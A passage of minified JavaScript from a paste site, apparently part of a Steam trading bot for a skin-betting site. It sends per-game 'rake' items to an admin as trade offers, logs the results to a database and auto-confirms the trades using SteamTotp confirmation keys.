  425.                                 a.id == b && n.addMyItem(a)
  426.                             })
  427.                         }), setTimeout(function() {
  428.                             n.setMessage(m), n.setToken(i), n.send(function(b) {
  429.                                 if (b) {
  430.                                     if (console.log("[SERVER] Error sending Rake for Game #" + k + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a) return void f.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!")
  431.                                 } else e.query("UPDATE `" + j + "rakeitems` SET `status`=\"sent\" WHERE `id`=\'" + k + "\'"), console.log("[SERVER] Rake for Game #" + k + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && f.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + k + "!"), community.checkConfirmations()
  432.                             })
  433.                         }, 2e3)
  434.                     })
  435.                 } else if (1 == a) return void f.chatMessage(admin, "[SERVER] No more Rake Queries!")
  436.             })
  437.         }
  438.         community.on("newConfirmation", function(a) {
  439.             var b = Math.round(Date.now() / 1e3),
  440.                 c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
  441.             community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
  442.                 console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), f.webLogOn())
  443.             })
  444.         }), community.on("confKeyNeeded", function(a, b) {
  445.             console.log("confKeyNeeded");
  446.             var c = Math.floor(Date.now() / 1e3);
  447.             b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
  448.         }), setInterval(function() {
  449.             f.webLogOn(), e.query("SELECT 1")
  450.         }, 36e5), setInterval(function() {
  451.             t()
  452.         }, 15e3)
  453.     }), b.exports = c("../osbot1.js")
  454. }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement